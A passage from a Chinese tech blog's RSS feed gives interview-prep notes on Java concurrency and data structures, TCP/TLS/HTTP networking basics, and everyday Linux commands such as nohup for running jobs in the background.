start="4"><li>神奇的斐波那契散列（黄金分割）</li></ol><p>你可能会问：开放寻址法最怕的就是哈希冲突引发的“聚集效应”（多个元素连成一片），<code>ThreadLocalMap</code> 怎么解决？</p><p>答案在 <code>ThreadLocal</code> 源码里的一个魔法数字：<strong><code>0x61c88647</code></strong>（HASH_INCREMENT）。 每创建一个新的 <code>ThreadLocal</code>，它的 <code>threadLocalHashCode</code> 就会在上一个的基础上累加这个魔法值。这个数字与黄金分割律（Fibonacci Hashing）密切相关。</p><p><strong>它的神奇之处在于</strong>：以这个步长生成的哈希值，无论以任何 2 的幂次方作为数组大小进行取模（<code>&amp; (len - 1)</code>），其散列结果都能<strong>完美且极其均匀地分布在数组的各个位置</strong>。既然天然的哈希算法已经让冲突概率降到了极低，那么开放寻址法最大的痛点（聚集效应）也就被巧妙化解了。</p><h2 id="4-红黑树结构">4.红黑树结构</h2><p><strong>痛点起源</strong>：最基础的**二叉查找树（BST）**在极端情况下（比如顺序插入 1, 2, 3, 4, 5），会退化成一条单向链表，查询时间复杂度从 $O(\log n)$ 暴跌到 $O(n)$。</p><p><strong>初步解决</strong>：为了防止退化，前人发明了 <strong>AVL 树（严格平衡二叉树）</strong>。它要求左右子树的高度差不能超过 1。虽然查询极快，但“过于严苛”的平衡条件导致在频繁插入和删除时，需要进行大量的<strong>左旋、右旋</strong>操作，性能损耗严重。</p><p><strong>终极折中（红黑树诞生）</strong>：红黑树（Red-Black Tree）是一种<strong>弱平衡（或称近似平衡）的二叉查找树</strong>。它通过引入节点的“颜色”和一组精妙的规则，保证了<strong>从根到叶子的最长路径不会超过最短路径的两倍</strong>。</p><ul><li><strong>核心优势</strong>：它在查询速度（接近 AVL）和插入/删除速度（旋转次数少于 AVL）之间找到了完美的工程折中。它的增删改查时间复杂度都稳定在 $O(\log n)$。</li></ul><p>节点本身在内存中多了一个标志位（通常用一个 boolean 值表示，<code>true</code> 为红，<code>false</code> 为黑）。红黑节点的意义在于<strong>支撑红黑树的自平衡规则</strong>。</p><p>在面试中，我会向面试官清晰地阐述这<strong>五大绝对原则</strong>：</p><ol><li><strong>颜色属性</strong>：每个节点要么是红色，要么是黑色。</li><li><strong>根节点守则</strong>：根节点必须是<strong>黑色</strong>。</li><li><strong>叶子节点守则</strong>：所有的叶子节点（这里指的是隐式的空节点，即 NIL 节点）都是<strong>黑色</strong>。</li><li><strong>红色不相连</strong>：如果一个节点是<strong>红色</strong>的，那么它的两个子节点必须是<strong>黑色</strong>的。（即：一条路径上不能出现相邻的两个红色节点）。</li><li><strong>完美黑色平衡（最核心）</strong>：从任意一个节点出发，到达其所有后代 NIL 节点的简单路径上，<strong>包含的黑色节点数量必须绝对相同</strong>。</li></ol><blockquote><p><strong>“红黑树，本质上是 2-3-4 树（一种多叉 B 树）的二叉树等价实现。”</strong></p></blockquote><p>在 2-3-4 树中，一个节点可以容纳 1 到 3 个元素。由于计算机内存更适合处理二叉结构，我们需要把多叉树映射为二叉树：</p><ul><li><strong>黑色节点</strong>：代表 2-3-4 树中的普通节点。</li><li><strong>红色节点</strong>：代表它与其父节点是<strong>强绑定关系</strong>的，它们在逻辑上共同构成了一个 2-3-4 树中的“大节点”。红色节点其实是用来模拟 2-3-4 树内部的<strong>水平链接</strong>的。</li></ul><p>通过将红色节点上提，红黑树在进行插入、删除导致的不平衡时，可以通过<strong>变色</strong>（消耗极低）来优先解决问题；只有当变色无法解决时，才会动用<strong>旋转</strong>（消耗较高）。这就是它在写入性能上碾压 AVL 树的根本原因。</p><h1>JUC</h1><h2 id="1-Java-线程池有了解吗">1.Java 线程池有了解吗</h2><p><strong><code>corePoolSize</code> (核心线程数)</strong>：工厂的“正式员工”，即使没事做也不会被辞退。</p><p><strong><code>maximumPoolSize</code> (最大线程数)</strong>：正式工忙不过来时，工厂能雇佣的最大员工数（含临时工）。</p><p><strong><code>keepAliveTime</code> (空闲存活时间)</strong>：临时工没活干时，等待多久会被解雇。</p><p><strong><code>unit</code> (时间单位)</strong>：存活时间的时间单位。</p><p><strong><code>workQueue</code> (任务队列)</strong>：存放等待处理任务的“仓库”。</p><p><strong><code>threadFactory</code> (线程工厂)</strong>：用于创建线程，通常我们会在这里给线程起个有意义的名字，方便线上排查问题。</p><p><strong><code>handler</code> (拒绝策略)</strong>：仓库满了且人手也招满了，再来任务时的处理方案</p><p><code>workQueue</code> 的选型直接影响系统的负载能力：</p><ul><li><strong><code>ArrayBlockingQueue</code></strong>：有界队列，可以防止资源耗尽。</li><li><strong><code>LinkedBlockingQueue</code></strong>：默认无界（长度为 <code>Integer.MAX_VALUE</code>）。<strong>资深警示</strong>：在生产环境慎用默认无界队列，因为这可能导致任务积压，最终引发 OOM。</li><li><strong><code>SynchronousQueue</code></strong>：不存储任务的队列。每次插入必须等待一个移除操作。<code>CachedThreadPool</code> 使用它，吞吐量极高。</li></ul><p><strong><code>AbortPolicy</code> (默认)</strong>：直接抛出异常，简单粗暴。</p><p><strong><code>CallerRunsPolicy</code></strong>：让提交任务的线程（比如主线程）自己去执行。<strong>这是一种降级策略</strong>，既能减缓任务提交速度，又能保证任务不丢失。</p><p><strong><code>DiscardOldestPolicy</code></strong>：丢弃队列里最老的任务，腾位子给新任务。</p><p><strong><code>DiscardPolicy</code></strong>：直接丢掉，不留痕迹。</p><h2 id="2-synchronized-的底层原理是什么，为什么这个关键字可以实现防并发冲突呢">2.synchronized 的底层原理是什么，为什么这个关键字可以实现防并发冲突呢</h2><p>我们在 Java 代码中写下 <code>synchronized</code>，经过 <code>javac</code> 编译后，在字节码中会有两种不同的表现形式：</p><ol><li><strong>同步代码块</strong>： 编译器会在代码块的开始和结束位置，分别插入 <code>monitorenter</code> 和 <code>monitorexit</code> 指令。<ul><li>值得注意的是，通常会有一个 <code>monitorenter</code> 对应<strong>两个</strong> <code>monitorexit</code>。一个是正常退出时释放锁，另一个是发生异常时（编译器自动生成的异常表）释放锁，确保不会死锁。</li></ul></li><li><strong>同步方法</strong>： 编译器并不会使用指令，而是在方法的常量池中设置一个 <code>ACC_SYNCHRONIZED</code> 访问标志。JVM 在调用方法时，只要看到这个标志，就会隐式地去获取锁。</li></ol><p>无论是指令还是标志，底层的核心都指向了一个东西：<strong>Monitor（管程）</strong>。</p><p>在 HotSpot 虚拟机的 C++ 源码中，每个 Java 对象在创建时，都会在对象头（Object Header）中隐式关联一个 <code>ObjectMonitor</code> 对象。这个 <code>ObjectMonitor</code> 就是实现并发安全的关键，它内部有几个核心属性：</p><ul><li><code>_owner</code>：指向当前持有该锁的线程。</li><li><code>_EntryList</code>：一个队列，存放所有被阻塞、等待获取锁的线程。</li><li><code>_WaitSet</code>：一个队列，存放调用了 <code>wait()</code> 方法被挂起的线程。</li><li><code>_count</code>：记录锁的重入次数（所以 <code>synchronized</code> 是<strong>可重入锁</strong>）。</li></ul><p><strong>防并发冲突的执行逻辑</strong>： 当多线程并发访问时，都会尝试执行 <code>monitorenter</code>：</p><ol><li>如果 <code>_count</code> 为 0，说明锁空闲。线程将 <code>_owner</code> 指向自己，并将 <code>_count</code> 加 1，成功获取锁。</li><li>如果 <code>_owner</code> 已经是自己，说明是锁重入，直接将 <code>_count</code> 加 1。</li><li>如果 <code>_owner</code> 是其他线程，当前线程就会被放入 <code>_EntryList</code> 阻塞排队，交出 CPU 执行权。</li></ol><p><strong>结论</strong>：正是因为 <code>ObjectMonitor</code> 这种<strong>排他性</strong>的设计，保证了同一时刻只能有一个线程执行临界区代码，从而实现了<strong>原子性</strong>。同时，JVM 规范还规定了锁的<strong>可见性</strong>语义：在释放锁（<code>monitorexit</code>）之前，必须将本地缓存中的共享变量刷新回主内存；在获取锁时，必须从主内存重新读取，这就解决了多线程的数据可见性问题。</p><p>因为早期的 <code>synchronized</code> 被称为<strong>重量级锁</strong>，它的阻塞和唤醒依赖操作系统的 <code>Mutex Lock</code>（互斥量），这需要将线程从<strong>用户态频繁切换到内核态</strong>，性能开销极其巨大。</p><p>为了提升性能，JDK 1.6 引入了基于<strong>对象头（Mark Word）*<em>的*<em>锁升级机制</em></em>。这也是 <code>synchronized</code> 现在性能非常强悍的原因。锁的状态会随着竞争的激烈程度逐步升级，且</strong>不可逆**：</p><ol><li><strong>无锁状态</strong>：对象刚创建，没有线程来抢。</li><li><strong>偏向锁 (Biased Locking)</strong>：<ul><li><strong>场景</strong>：大多数情况下，锁不仅不存在多线程竞争，而且总是由<strong>同一个线程</strong>多次获得。</li><li><strong>原理</strong>：当线程第一次拿锁时，利用 CAS 操作将自己的 Thread ID 记录在对象的 Mark Word 中。以后这个线程再来，只要对比 ID 匹配，连 CAS 操作都不用做，直接放行。此时加锁开销几乎为 0。</li></ul></li><li><strong>轻量级锁 (Lightweight Locking)</strong>：<ul><li><strong>场景</strong>：有其他线程来竞争锁了，偏向锁被打破。但竞争不激烈，大家只是交替执行。</li><li><strong>原理</strong>：线程会在自己的栈帧中创建一个 Lock Record（锁记录），然后通过 <strong>CAS 自旋</strong>（循环重试）的方式去尝试将对象的 Mark Word 更新为指向自己锁记录的指针。这种方式<strong>不阻塞线程，不发生内核态切换</strong>，只是消耗一点 CPU 空转时间。</li></ul></li><li><strong>重量级锁 (Heavyweight Locking)</strong>：<ul><li><strong>场景</strong>：自旋失败多次，或者竞争非常激烈（大量线程涌入）。</li><li><strong>原理</strong>：轻量级锁膨胀为重量级锁，底层回归到 <code>ObjectMonitor</code> 机制。未抢到锁的线程不再自旋消耗 CPU，而是直接被操作系统挂起阻塞。</li></ul></li></ol>]]></content:encoded>
      
      
      <category domain="https://blog.tokenlen.top/categories/java/">java</category>
      
      
      <category domain="https://blog.tokenlen.top/tags/Base/">Base</category>
      
      
      <comments>https://blog.tokenlen.top/2026/04/16/message/base/base/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>计网知识收集</title>
      <link>https://blog.tokenlen.top/2026/04/16/message/base/cn/</link>
      <guid>https://blog.tokenlen.top/2026/04/16/message/base/cn/</guid>
      <pubDate>Wed, 15 Apr 2026 16:00:00 GMT</pubDate>
      
        
        
          
          
      <description>&lt;h1&gt;基础知识&lt;/h1&gt;
&lt;h2 id=&quot;1-TCP-三次握手的过程&quot;&gt;1.TCP 三次握手的过程&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;第一次握手（SYN）：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;动作：&lt;/strong&gt; 客户端随机生成一个初始序列号</description>
          
        
      
      
      
      <content:encoded><![CDATA[<h1>基础知识</h1><h2 id="1-TCP-三次握手的过程">1.TCP 三次握手的过程</h2><p><strong>第一次握手（SYN）：</strong></p><ul><li><strong>动作：</strong> 客户端随机生成一个初始序列号 <code>seq = x</code>，设置 SYN 标志位为 1，发送给服务器。</li><li><strong>状态转移：</strong> 客户端进入 <code>SYN_SENT</code>（同步已发送）状态。</li></ul><p><strong>第二次握手（SYN + ACK）：</strong></p><ul><li><strong>动作：</strong> 服务器收到 SYN 包后，也随机生成自己的初始序列号 <code>seq = y</code>，同时确认客户端的序列号 <code>ack = x + 1</code>，设置 SYN 和 ACK 标志位均为 1，发送给客户端。</li><li><strong>状态转移：</strong> 服务器从 <code>LISTEN</code> 进入 <code>SYN_RCVD</code>（同步收到）状态。</li></ul><p><strong>第三次握手（ACK）：</strong></p><ul><li><strong>动作：</strong> 客户端收到服务器的 SYN+ACK 包，为了确认自己收到了服务器的序列号，发送一个 <code>ack = y + 1</code>，序列号 <code>seq = x + 1</code>，ACK 标志位为 1 的确认包给服务器。<strong>（此时，这个包已经可以携带应用层数据了）</strong>。</li><li><strong>状态转移：</strong> 客户端进入 <code>ESTABLISHED</code>（已建立连接）状态。服务器收到此 ACK 后，也进入 <code>ESTABLISHED</code> 状态。</li></ul><p>为什么需要三次握手？</p><ol><li><strong>防止历史（失效）连接初始化造成混乱（最主要原因）：</strong> 网络是可能拥塞和延迟的。假设客户端发送了 SYN1（因网络卡顿未到达），于是超时重发了 SYN2。此时网络恢复，旧的 SYN1 先到达服务器。<ul><li>如果是<strong>两次握手</strong>：服务器收到 SYN1 直接进入 ESTABLISHED 状态并开始发数据，这就建立了一个历史的“脏连接”，浪费了服务器资源。</li><li>如果是<strong>三次握手</strong>：服务器收到 SYN1 返回 SYN+ACK，客户端收到后，检查发现期望的应答不是这个（因为它当前期望的是 SYN2 的应答），客户端就会发送 <code>RST</code> 报文强行中断这个历史连接。<strong>三次握手把决定权交给了客户端，让客户端来确认这个连接是不是它真正想要的。</strong></li></ul></li><li><strong>可靠地同步双方的初始序列号（ISN）：</strong> TCP 要保证数据不丢不重，必须靠序列号。双方都要告诉对方自己的 ISN。<ul><li>客户端发 ISN，服务器确认（1、2次握手完成）。</li><li>服务器发 ISN，客户端确认（2、3次握手完成）。 最少需要这三次通信，才能保证双方的序列号都被对方可靠地接收并确认。</li></ul></li></ol><p>第三次握手（ACK）失败会发生什么？</p><p>这在面试中是极其考验实战经验的问题。</p><p>如果客户端发送了第三次 ACK，但网络丢包了，服务器没收到：</p><ul><li><strong>客户端视角：</strong> 客户端发完 ACK 后就认为连接成功了，状态已经是 <code>ESTABLISHED</code>。如果它开始发送数据包，服务器收到后会回复 <code>RST</code> 报文让其重置连接。</li><li><strong>服务器视角：</strong> 服务器此时处于 <code>SYN_RCVD</code> 状态。因为它没收到 ACK，它会认为自己的 SYN+ACK 丢了。于是它会触发<strong>超时重传机制</strong>，重新发送 SYN+ACK。<ul><li>通常会重传 5 次，并且每次等待时间呈指数级增长（如 1s, 2s, 4s, 8s, 16s）。</li><li>如果在最大重传次数后依然等不到客户端的 ACK，服务器就会将这个半连接从**半连接队列（SYN Queue）**中删除，释放资源。</li></ul></li></ul><h2 id="2-TCP-挥手为什么需要四次？">2.TCP 挥手为什么需要四次？</h2><p>这里的核心关键字是：<strong>全双工通信（Full-Duplex）</strong> 和 <strong>半关闭状态（Half-Close）</strong>。</p><p>TCP 连接是双向的（就像一条双向车道），数据的发送和接收是相互独立的。这就意味着，<strong>关闭连接也必须分两个方向独立进行</strong>。</p><ol><li><strong>第一次挥手（FIN）：</strong> 客户端数据发完了，告诉服务器：“我没有数据要发了”（发送 FIN）。<strong>注意：此时客户端只是不能发数据了，但依然可以收数据。</strong></li><li><strong>第二次挥手（ACK）：</strong> 服务器收到 FIN，马上回复一个 ACK：“我知道你发完了”。此时客户端到服务器的方向关闭，连接处于<strong>半关闭状态</strong>。</li><li><strong>为什么这里有停顿？</strong> 因为服务器收到 FIN 的时候，<strong>它的应用层可能还有数据没处理完，或者还有数据没发送完！</strong> 所以服务器还要继续把剩下的数据发给客户端。客户端也要继续接收。</li><li><strong>第三次挥手（FIN）：</strong> 等服务器的数据也终于全部发完了，它也会发一个 FIN 告诉客户端：“我也没数据要发了，可以正式分手了”。</li><li><strong>第四次挥手（ACK）：</strong> 客户端收到服务器的 FIN，回复一个 ACK：“好的，再见”。</li></ol><p>简单来说：<strong>建立连接时，服务器的 SYN 和 ACK 可以合并成一个包发送（第二次握手）。但断开连接时，由于被动方往往还有残余数据要发送，所以它的 ACK（第二次挥手）和 FIN（第三次挥手）必须分开发送，这就导致了必须是四次挥手。</strong></p><h2 id="3-描述一下https中的SSL-TLS">3.描述一下https中的SSL/TLS</h2><p>在深入细节前，我们要明确 SSL/TLS 解决了 HTTPS 的三个核心问题：</p><ul><li><strong>机密性 (Confidentiality)</strong>：通过<strong>对称加密</strong>防止信息被窃听。</li><li><strong>完整性 (Integrity)</strong>：通过**MAC（消息验证码）**防止数据被篡改。</li><li><strong>身份认证 (Authentication)</strong>：通过<strong>数字证书</strong>确保你访问的确实是目标服务器。</li></ul><p>这是最体现底层设计精妙的地方。TLS 握手的本质是：<strong>在不安全的信道上，安全地协商出一个只有双方知道的对称密钥。</strong></p><p>阶段一：密码套件协商 (Client Hello &amp; Server Hello)</p><ol><li><strong>Client Hello</strong>: 客户端发送它支持的 TLS 版本、密码套件列表（如 <code>TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256</code>）以及一个<strong>客户端随机数 (Client Random)</strong>。</li><li><strong>Server Hello</strong>: 服务端选定版本、密码套件，并给出<strong>服务端随机数 (Server Random)</strong>。</li></ol><p>阶段二：身份验证与密钥交换</p><p>这是区分资深开发者的关键点，通常涉及 <strong>ECDHE</strong> 算法：</p><ol><li><strong>Certificate</strong>: 服务端发送证书链。客户端会根据本地根证书校验签名，确保服务器公钥的真实性。</li><li><strong>Server Key Exchange</strong>: 如果使用 ECDHE，服务端会生成一个椭圆曲线点（临时公钥）并用私钥签名发送给客户端。</li><li><strong>Client Key Exchange</strong>: 客户端验证签名后，也生成一个自己的临时公钥发送给服务端。</li></ol><p>阶段三：生成会话密钥</p><p>此时，双方都拥有：<strong>Client Random</strong>、<strong>Server Random</strong> 以及通过 ECDHE 算法算出的 <strong>Pre-Master Secret</strong>。</p><ul><li>双方利用这三个参数，通过 <strong>PRF (伪随机函数)</strong> 计算出最终的 <strong>Master Secret (主密钥)</strong>。</li><li>主密钥再派生出对称加密密钥、MAC 密钥等。</li></ul><blockquote><p><strong>深度思考</strong>：为什么要用三个随机数？因为 SSL 不信任客户端或服务端伪随机数的独立性，三个随机数混合可以极大增加密钥的随机性，确保安全性。</p></blockquote><p>握手完成后，所有应用数据（如 HTTP Body）都通过记录协议处理。</p><ul><li><strong>分片 (Fragmentation)</strong>：将高层协议的数据切分成适当大小。</li><li><strong>压缩 (Compression)</strong>：可选，但现代 TLS 为了防范攻击（如 CRIME）通常禁用。</li><li><strong>添加 MAC (Message Authentication Code)</strong>：通过哈希算法（如 SHA-256）保证数据完整性。</li><li><strong>加密 (Encryption)</strong>：使用协商好的对称密钥（如 AES-GCM）进行加密。</li></ul><p>传统的 RSA 密钥交换模式下，如果服务器私钥泄露，过去录制的所有加密流量都可以被解密。 而 <strong>ECDHE (Elliptic Curve Diffie-Hellman Ephemeral)</strong> 算法生成的临时密钥对是“瞬时”的。即使服务器私钥泄露，攻击者也无法推算出之前的 Pre-Master Secret。这就是<strong>前向安全性</strong>，也是为什么现代互联网强制要求使用 ECDHE 的原因。</p><h2 id="4-描述一下TIME-WAIT状态，它出现在tcp链接的哪个位置">4.描述一下TIME_WAIT状态，它出现在tcp链接的哪个位置</h2><p><code>TIME_WAIT</code> 仅出现在 <strong>主动关闭连接的一方</strong>（Active Closer）。</p><p>当一方完成数据传输，发送 <code>FIN</code> 包并经历完整的四次挥手流程后，它不会直接进入 <code>CLOSED</code> 状态，而是停留在 <code>TIME_WAIT</code> 状态。</p><p>四次挥手与状态流转</p><ol><li><strong>主动方</strong>发送 <code>FIN</code>，进入 <code>FIN_WAIT_1</code>。</li><li><strong>被动方</strong>回复 <code>ACK</code>，进入 <code>CLOSE_WAIT</code>；主动方接收后进入 <code>FIN_WAIT_2</code>。</li><li><strong>被动方</strong>发送 <code>FIN</code>，进入 <code>LAST_ACK</code>。</li><li><strong>主动方</strong>接收 <code>FIN</code> 并发送最后的 <code>ACK</code>，此时主动方即刻进入 <strong><code>TIME_WAIT</code></strong> 状态。</li></ol><p><code>TIME_WAIT</code> 的持续时间通常是 <strong>2MSL</strong>（Maximum Segment Lifetime，报文最大生存时间的 2 倍，Linux 下通常为 60 秒）。设计这个“漫长”等待期的原因有二：</p><p>A. 保证最后的 ACK 能到达对端</p><p>如果主动方发送的最后一个 <code>ACK</code> 在网络中丢失，被动方（处于 <code>LAST_ACK</code> 状态）会触发超时重传 <code>FIN</code>。</p><ul><li>如果主动方没有 <code>TIME_WAIT</code> 而是直接关闭，当它再次收到这个重传的 <code>FIN</code> 时，会回复 <code>RST</code>。</li><li>有了 <code>TIME_WAIT</code>，主动方可以重新发送 <code>ACK</code>，确保被动方能够正常进入 <code>CLOSED</code> 状态。</li></ul><p>B. 防止“旧报文”干扰新连接</p><p>网络路径复杂，某些报文可能会在路由器中“迷路”后又重新出现。</p><ul><li>如果没有 <code>TIME_WAIT</code>，且立刻建立了一个相同 <strong>五元组</strong>（源IP、源端口、目的IP、目的端口、协议）的新连接。</li><li>旧连接的迟到报文可能被新连接接收，导致逻辑错误或数据损坏。</li><li><strong>2MSL</strong> 确保了旧连接产生的所有报文都在网络中自然消失。</li></ul><h2 id="5…-HTTP-请求头里面有些什么">5… HTTP 请求头里面有些什么</h2><ol><li>核心路由与连接管理 (Routing &amp; Connection)</li></ol><p>这是 HTTP 请求能够成功到达目标服务器并维持通信的基础。</p><ul><li><strong><code>Host</code></strong>：<strong>（极其重要）</strong> 指定请求的目标域名和端口号。在单台服务器部署多个网站（虚拟主机）时，Nginx 就是依靠 <code>Host</code> 头来决定把请求路由给哪个后端服务的。</li><li><strong><code>Connection</code></strong>：控制网络连接的状态。在 HTTP/1.1 中默认是 <code>keep-alive</code>（长连接），这意味着 TCP 连接在发送完响应后不会立即关闭，以便复用，从而降低握手开销。</li></ul><ol start="2"><li>内容协商 (Content Negotiation)</li></ol><p>客户端通过这类请求头告诉服务端：“我能接收什么样的数据”。</p><ul><li><strong><code>Accept</code></strong>：客户端期望接收的数据格式。例如 <code>application/json</code> 或 <code>text/html</code>。如果 Spring Boot 接口返回 XML，而客户端 <code>Accept</code> 只写了 <code>application/json</code>，就会报 406 Not Acceptable 异常。</li><li><strong><code>Accept-Encoding</code></strong>：客户端支持的压缩算法，如 <code>gzip</code>, <code>deflate</code>, <code>br</code> (Brotli)。服务端据此对响应体进行压缩，大幅节省带宽。</li><li><strong><code>Accept-Language</code></strong>：客户端期望的自然语言，常用于国际化 (i18n) 路由。</li></ul><ol start="3"><li>请求体描述 (Entity Information)</li></ol><p>当请求带有 Body 时（如 POST/PUT），需要告诉服务端 Body 的特征。</p><ul><li><strong><code>Content-Type</code></strong>：请求体的 MIME 类型。最常见的是：<ul><li><code>application/json</code>：现代 RESTful API 的标配。</li><li><code>application/x-www-form-urlencoded</code>：传统的表单提交。</li><li><code>multipart/form-data</code>：用于文件上传。</li></ul></li><li><strong><code>Content-Length</code></strong>：请求体的字节长度。如果服务端收到的数据少于这个值，会等待；如果多于这个值，会截断。</li></ul><ol start="4"><li>身份认证与状态维持 (Auth &amp; State)</li></ol><p>HTTP 协议本身是无状态的，依靠这些头来实现“记住你是谁”。</p><ul><li><strong><code>Authorization</code></strong>：携带认证凭证。在微服务和前后端分离架构中，最常见的是 <code>Bearer &lt;JWT_TOKEN&gt;</code>。</li><li><strong><code>Cookie</code></strong>：携带服务端之前颁发并存储在客户端的 Cookie 键值对，传统的 Session 机制就是依靠传递 <code>JSESSIONID</code> 的 Cookie 来维持状态的。</li></ul><ol start="5"><li>缓存控制 (Cache Control) - 面试高频区</li></ol><p>优秀的缓存设计能扛下极其夸张的并发，这些头是前端与服务端协商缓存的核心。</p><ul><li><strong><code>Cache-Control</code></strong>：控制缓存的策略（如 <code>no-cache</code>, <code>max-age=3600</code>）。</li><li><strong>协商缓存双雄</strong>：<ul><li><strong><code>If-Modified-Since</code></strong>：配合服务端的 <code>Last-Modified</code> 使用，询问“在这个时间点之后，文件修改过吗？”。</li><li><strong><code>If-None-Match</code></strong>：配合服务端的 <code>ETag</code>（文件内容的哈希值）使用，询问“这个文件的指纹变了吗？”。没变的话服务端直接返回 304 Not Modified。</li></ul></li></ul><ol start="6"><li>来源追踪与安全防护 (Tracking &amp; Security)</li></ol><ul><li><strong><code>User-Agent</code> (UA)</strong>：发起请求的客户端信息（浏览器版本、操作系统等）。常用于基础的埋点统计、PC/移动端适配以及初级的反爬虫策略。</li><li><strong><code>Referer</code></strong>：记录当前请求是从哪个页面的链接跳过来的。我们常利用这个头在 Nginx 层做<strong>防盗链</strong>，或者在网关层做 CSRF（跨站请求伪造）防护。</li></ul><ol start="7"><li>分布式与微服务生态（资深必谈的“自定义头”）</li></ol><p>在现代微服务架构中，请求往往要经过 CDN、WAF、API 网关等层层代理，原生头信息可能会丢失，因此我们极其依赖以下扩展头：</p><ul><li><strong><code>X-Forwarded-For</code> / <code>X-Real-IP</code></strong>：用于在经过多层反向代理后，透传客户端的<strong>真实物理 IP</strong>，否则你服务里取到的永远是网关的 IP。</li><li><strong><code>Trace-Id</code> / <code>Span-Id</code></strong>：在分布式链路追踪系统（如 SkyWalking、Zipkin）中，我们会在网关处生成一个全链路唯一的 ID 放入请求头，后续的所有微服务调用（哪怕是 Feign 或 RestTemplate）都会携带这个头，借此把整个请求日志串联起来。</li></ul>]]></content:encoded>
      
      
      <category domain="https://blog.tokenlen.top/categories/408/">408</category>
      
      
      <category domain="https://blog.tokenlen.top/tags/net/">net</category>
      
      
      <comments>https://blog.tokenlen.top/2026/04/16/message/base/cn/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>操作系统知识收集</title>
      <link>https://blog.tokenlen.top/2026/04/16/message/base/os/</link>
      <guid>https://blog.tokenlen.top/2026/04/16/message/base/os/</guid>
      <pubDate>Wed, 15 Apr 2026 16:00:00 GMT</pubDate>
      
        
        
          
          
      <description>&lt;h1&gt;liunx操作&lt;/h1&gt;
&lt;h2 id=&quot;1-linux有哪些常用命令？还问了让脚本后台运行的命令是什么？&quot;&gt;1.linux有哪些常用命令？还问了让脚本后台运行的命令是什么？.&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;ls -lrt&lt;/code&gt;&lt;/strong&gt;:</description>
          
        
      
      
      
      <content:encoded><![CDATA[<h1>liunx操作</h1><h2 id="1-linux有哪些常用命令？还问了让脚本后台运行的命令是什么？">1.linux有哪些常用命令？还问了让脚本后台运行的命令是什么？.</h2><p><strong><code>ls -lrt</code></strong>: 按时间倒序查看文件。排查日志时，这能让你一眼看到最新的日志文件。</p><p><strong><code>tail -f</code> / <code>tail -n 500</code></strong>: 实时查看日志输出，或者查看最后 500 行。</p><p><strong><code>grep -i &quot;ERROR&quot; app.log</code></strong>: 忽略大小写搜索错误信息。配合 <code>-A</code> (After) 或 <code>-B</code> (Before) 可以看到上下文。</p><p><strong><code>find / -name &quot;config.yaml&quot;</code></strong>: 在全盘或指定目录查找文件。</p><p><strong><code>top</code> / <code>htop</code></strong>: 实时监控系统资源。Java 应用 CPU 飙升时，这是第一现场。</p><p><strong><code>netstat -nltp</code></strong>: 查看端口监听情况。常用于确认你的 Spring Boot 服务是否真的启动成功，或者端口是否被占用。</p><p><strong><code>lsof -i :8080</code></strong>: 查看 8080 端口被哪个进程占用。</p><p><strong><code>df -h</code> &amp; <code>du -sh \*</code></strong>: 磁盘空间排查。当日志把磁盘撑满导致 JVM OOM 时，这两个命令能救命。</p><p><strong><code>free -g</code></strong>: 查看内存使用情况。注意 <code>available</code> 字段，它比 <code>free</code> 更能反映真实可用内存。</p><p>A. 基础版：<code>&amp;</code> 符号</p><p>在命令末尾加一个 <code>&amp;</code>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./start-server.sh &amp;</span><br></pre></td></tr></table></figure><ul><li><strong>局限性</strong>：当你退出当前终端（SSH 会话）时，该进程可能会被杀掉（收到 <code>SIGHUP</code> 信号）。</li></ul><p>B. 常用版：<code>nohup</code> (No Hang Up)</p><p>这是最常见的做法，忽略挂起信号：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nohup java -jar app.jar &gt; output.log 2&gt;&amp;1 &amp;</span><br></pre></td></tr></table></figure><ul><li><strong><code>2&gt;&amp;1</code> 的深度解析</strong>：这是面试官最喜欢追问的。它表示将<strong>标准错误 (stderr)</strong> 重定向到 <strong>标准输出 (stdout)</strong>，然后统一写入 <code>output.log</code>。这样能保证所有的错误堆栈都能被记录下来。</li></ul><p>C. 进阶版：<code>screen</code> 或 <code>tmux</code></p><p>如果你需要长期维护一个会话，<code>tmux</code> 更好用。它允许你开启一个虚拟终端，即便 SSH 断开了，进程依然运行，你随时可以 <code>attach</code> 回去。</p><p>D. 生产规范版：<code>systemd</code></p><p>在成熟的生产环境，我们通常将 Java 脚本封装成 <strong>systemd service</strong>。</p><ul><li><strong>优势</strong>：支持开机自启、进程崩溃自动重启、状态监控。</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">systemctl start my-java-app</span><br></pre></td></tr></table></figure><hr><ol start="4"><li>一个资深工程师的“骚操作”</li></ol><p>如果你想在后台运行的同时，还能看一眼进程 ID (PID)，可以这么写：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nohup ./script.sh &gt; /dev/null 2&gt;&amp;1 &amp; echo $! &gt; pid.txt</span><br></pre></td></tr></table></figure><h1>基本知识</h1><h2 id="1-能说说进程和线程的区别吗？为什么现在很多高并发框架都在用协程？">1.能说说进程和线程的区别吗？为什么现在很多高并发框架都在用协程？</h2><p>从操作系统的角度看，<strong>进程（Process）</strong> 是资源分配的最小单位，而 <strong>线程（Thread）</strong> 是 CPU 调度的最小单位。但它们的本质区别在于<strong>隔离性</strong>与<strong>共享性</strong>带来的开销差异。</p><ul><li><strong>资源拥有与地址空间：</strong> 进程拥有独立的虚拟内存地址空间、页表（Page Table）、文件描述符、信号处理等。 线程则共享所属进程的地址空间和资源。</li></ul><p><strong>上下文切换的成本（核心点）：</strong></p><ul><li><strong>线程切换：</strong> 需要保存/恢复 CPU 寄存器、程序计数器（PC）和栈指针。虽然比进程快，但仍需在内核态（Kernel Mode）完成。</li><li><strong>进程切换：</strong> 除了线程需要做的事，最昂贵的开销在于<strong>切换页表</strong>。这会导致 CPU 的 <strong>TLB（Translation Lookaside Buffer，地址转换缓冲）</strong> 彻底失效。TLB 失效后，CPU 访问内存的开销会急剧增加，因为每一条指令的地址转换都可能需要多次内存访问。</li></ul><p>Go、Kotlin 